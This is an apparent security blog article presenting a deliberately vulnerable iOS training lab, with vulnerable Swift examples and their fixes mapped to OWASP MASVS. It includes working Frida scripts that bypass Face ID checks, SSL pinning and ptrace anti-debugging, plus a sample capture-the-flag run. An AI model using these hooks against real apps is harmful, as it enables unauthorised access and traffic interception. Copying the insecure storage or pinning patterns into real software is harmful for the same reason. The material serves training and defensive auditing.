The iOS security model and developer pitfalls
The iOS platform security architecture is widely considered one of the most mature consumer operating systems: hardware-rooted Secure Enclave processors, mandatory code-signing enforcement, sandboxed application containers, and compile-time memory mitigations.
However, developers frequently conflate operating system platform security with application-layer logic security:
- The Sandbox Illusion: Because iOS prevents App A from inspecting the file container of App B, developers assume data stored locally on disk is automatically protected. In reality, physical device access, unencrypted iTunes backups, jailbreaks, or file-sharing entitlements expose plaintext plists, SQLite databases, and
UserDefaultsimmediately. - Client-Side Decision Traps: Relying on client-side boolean checks—such as checking whether Face ID returned
true, or whether/bin/shexists on disk—assumes the client runtime is trusted. An attacker controlling the device can hook the Objective-C / Swift runtime via Frida, modify memory registers in LLDB, or patch the Mach-O binary. - Keychain Misconfiguration: The iOS Keychain encrypts records using hardware keys tied to the device passcode. However, using weak accessibility attributes (like
kSecAttrAccessibleAlwaysorkSecAttrAccessibleAfterFirstUnlock) without requiring device-bound biometric authentication allows secrets to be extracted while the device is locked.
To provide a structured, reproducible environment for auditing these attack surfaces, we engineered evilcorp-ios.
Architecture of EvilCorp iOS: 30 structured challenges
evilcorp-ios is built natively in SwiftUI for iOS 16+. It consolidates 30 deliberate vulnerability scenarios mapped directly to the OWASP Mobile Application Security Verification Standard (MASVS v2), MASWE, and CWE:
| Domain | MASVS v2 Profile | CWE IDs | Focus Vulnerabilities |
|---|---|---|---|
| Storage | MASVS-STORAGE | CWE-312, CWE-922, CWE-532 | UserDefaults tokens, unprotected SQLite, Keychain misuse, Pasteboard leaks |
| Crypto | MASVS-CRYPTO | CWE-327, CWE-798 | Hardcoded AES keys, static IVs, deprecated ECB ciphers, weak hashing |
| Network | MASVS-NETWORK | CWE-295, CWE-319, CWE-939 | SSL Pinning bypass, cleartext HTTP traffic, URL Scheme hijacking |
| Resilience | MASVS-RESILIENCE | CWE-693, CWE-287 | Jailbreak detection bypass, anti-debugging defeat, Face ID / Touch ID hooking |
Deep-dive: 4 core exploitation primitives
1. Insecure storage and Keychain misuse (MASWE-0011 / CWE-922)
A common mistake in mobile engineering is storing authentication tokens or passwords in UserDefaults under the mistaken belief that the application container is a security boundary:
// Vulnerable Implementation: Plaintext token storage in UserDefaults
UserDefaults.standard.set(userAuthToken, forKey: "session_token")
Any attacker with physical access or a backup can extract the unencrypted plist file at Library/Preferences/<bundle-id>.plist.
Even when developers use Keychain Services, selecting the wrong accessibility attribute renders the encryption ineffective:
// Vulnerable Implementation: Keychain item readable across all device states
let query: [String: Any] = [
kSecClass as String: kSecClassGenericPassword,
kSecAttrAccount as String: "authToken",
kSecValueData as String: tokenData,
kSecAttrAccessible as String: kSecAttrAccessibleAlways // Deprecated and insecure
]
SecItemAdd(query as CFDictionary, nil)
Remediation: Always bind sensitive credentials to hardware passcode protection and current biometric enrollment:
// Secure Implementation: Device-bound, biometrically gated Keychain entry
let access = SecAccessControlCreateWithFlags(
kCFAllocatorDefault,
kSecAttrAccessibleWhenUnlockedThisDeviceOnly,
.biometryCurrentSet,
nil
)!
2. Client-side biometric bypass (MASWE-0025 / CWE-287)
Many financial and enterprise apps use the LocalAuthentication framework to protect sensitive views (like money transfers or credential vaults). A typical naive implementation looks like this:
// Vulnerable Implementation: Client-side Face ID verification
let context = LAContext()
context.evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics, localizedReason: "Authenticate to view vault") { success, error in
DispatchQueue.main.async {
if success {
self.displayVaultContents() // Security boundary exists solely in client UI logic
}
}
}
Because success is an in-memory boolean evaluated by client code, an attacker with Frida can hook evaluatePolicy:localizedReason:reply: and replace the completion handler argument:
// Frida Hook: Biometrics Authentication Bypass
const hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
// Replace the completion block callback to force success = true
const replyBlock = new ObjC.Block(args[4]);
const originalCallback = replyBlock.implementation;
replyBlock.implementation = function(success, error) {
console.log("[+] Intercepted Face ID prompt -> Forcing success: true");
originalCallback(true, null);
};
}
});
Remediation: Biometric authentication must never gate client logic directly. Instead, the server issues a cryptographic challenge that the Secure Enclave signs using a private key gated by .biometryCurrentSet. The server validates the cryptographic signature before granting access.
3. Defeating custom SSL pinning (MASWE-0061 / CWE-295)
To prevent Man-in-the-Middle (MitM) inspection, apps implement SSL pinning inside URLSessionDelegate:
// Vulnerable Custom Pinning: Easily hooked delegate method
func urlSession(_ session: URLSession, didReceive challenge: URLAuthenticationChallenge, completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -> Void) {
if challenge.protectionSpace.authenticationMethod == NSURLAuthenticationMethodServerTrust {
if let serverTrust = challenge.protectionSpace.serverTrust {
// Compare certificate public key against hardcoded hash...
}
}
completionHandler(.useCredential, URLCredential(trust: serverTrust))
}
Frida bypasses this implementation in a single hook by forcing the challenge disposition to .useCredential:
// Frida Hook: Universal URLSession Trust Bypass
const resolver = new ApiResolver("objc");
const matches = resolver.enumerateMatchesSync("-[* URLSession:didReceiveChallenge:completionHandler:]");
matches.forEach(function(match) {
Interceptor.attach(match.address, {
onEnter: function(args) {
const completionHandler = new ObjC.Block(args[4]);
const serverTrust = ObjC.Object(args[3]).protectionSpace().serverTrust();
completionHandler.implementation(0, ObjC.classes.NSURLCredential.credentialForTrust_(serverTrust));
}
});
});
4. Anti-debugging and runtime integrity (MASWE-0096 / CWE-693)
Developers often call ptrace(PT_DENY_ATTACH, 0, 0, 0) or query sysctl to detect if an LLDB debugger is attached:
// Native C ptrace anti-debugging check
#include <sys/types.h>
#include <unistd.h>
#define PT_DENY_ATTACH 31
typedef int (*ptrace_ptr_t)(int _request, pid_t _pid, caddr_t _addr, int _data);
void disable_gdb() {
void* handle = dlopen(NULL, RTLD_GLOBAL | RTLD_NOW);
ptrace_ptr_t ptrace_func = dlsym(handle, "ptrace");
ptrace_func(PT_DENY_ATTACH, 0, 0, 0);
}
Hooking ptrace via Frida or patching the binary entrypoint completely disables this defense:
// Frida Hook: Neutralize PT_DENY_ATTACH
Interceptor.attach(Module.findExportByName(null, "ptrace"), {
onEnter: function(args) {
const request = args[0].toInt32();
if (request === 31) { // PT_DENY_ATTACH
console.log("[+] Blocked ptrace(PT_DENY_ATTACH) call.");
args[0] = ptr(0); // Replace with benign request
}
}
});
Hands-on Frida workflow: from script to flag
Inside evilcorp-ios, every challenge includes interactive hints, synthetic test records, and verifiable CTF flags.
Running dynamic analysis against the application on a dedicated iOS test device:
# Attach Frida to the running EvilCorp simulator or USB device
frida -U -N com.jankesec.evilcorp -l bypass_biometrics.js
When the hook triggers upon biometric prompt evaluation, the app yields the hidden lab flag directly to the terminal:
[+] Hooked -[LAContext evaluatePolicy:localizedReason:reply:]
[+] LocalAuthentication requested for domain: "kBiometricAuthKeyVault"
[+] Forcing evaluatePolicy reply: success = true, error = nil
[FLAG] FLAG{SE_ENCLAVE_NEEDS_HARDWARE_BACKED_CHALLENGES_2026}
MASVS v2 mapping & remediation guide
| Category | Lab ID | Vulnerability Pattern | Threat Impact | Secure Remediation |
|---|---|---|---|---|
| Storage | LAB-01 | UserDefaults Auth Tokens | Plaintext credential theft via backup | Store exclusively in Keychain Services |
| Storage | LAB-02 | kSecAttrAccessibleAlways | Keychain extraction on locked devices | Require kSecAttrAccessibleWhenUnlockedThisDeviceOnly |
| Storage | LAB-08 | NSLog / print Logging | Sensitive data exposure in system log | Strip logging macros in release builds |
| Crypto | LAB-09 | Hardcoded AES Encryption Key | Binary extraction via Ghidra / Hopper | Derive keys via CryptoKit & Secure Enclave |
| Auth | LAB-10 | Client-Side Face ID Boolean | Instant bypass via Frida method swizzling | Cryptographic challenge signed by Secure Enclave |
| Network | LAB-06 | Naive URLSessionDelegate Pinning | MitM inspection via Frida hook | Use Network.framework TLS trust policies |
| Resilience | LAB-05 | File-Check Jailbreak Detection | Trivial bypass via stat hooking | Defense-in-depth with server-side integrity checks |
Evidence and limits
All exercises, proofs-of-concept, and runtime hooks were verified using the open-source evilcorp-ios testbed running on iOS 16, 17, and 18 Simulators on macOS, as well as dedicated checkm8-vulnerable physical test devices. Frida scripts are intended for authorized security audits and mobile training environments. No production applications or personal accounts were targeted during testing.
References
- jankesec, EvilCorp iOS (Vulnerable SwiftUI Training Lab): github.com/jankesec/evilcorp-ios
- OWASP, Mobile Application Security Verification Standard (MASVS v2): mas.owasp.org/MASVS
- OWASP, Mobile Application Security Weakness Enumeration (MASWE): mas.owasp.org/MASWE
- Apple Developer Documentation, Keychain Services: developer.apple.com/documentation/security/keychain_services
- Apple Developer Documentation, LocalAuthentication Framework: developer.apple.com/documentation/localauthentication
How current is this note?
The latest source-review, content-update, or publication date is shown.
The author completed a technical review. This does not, by itself, claim lab reproduction.

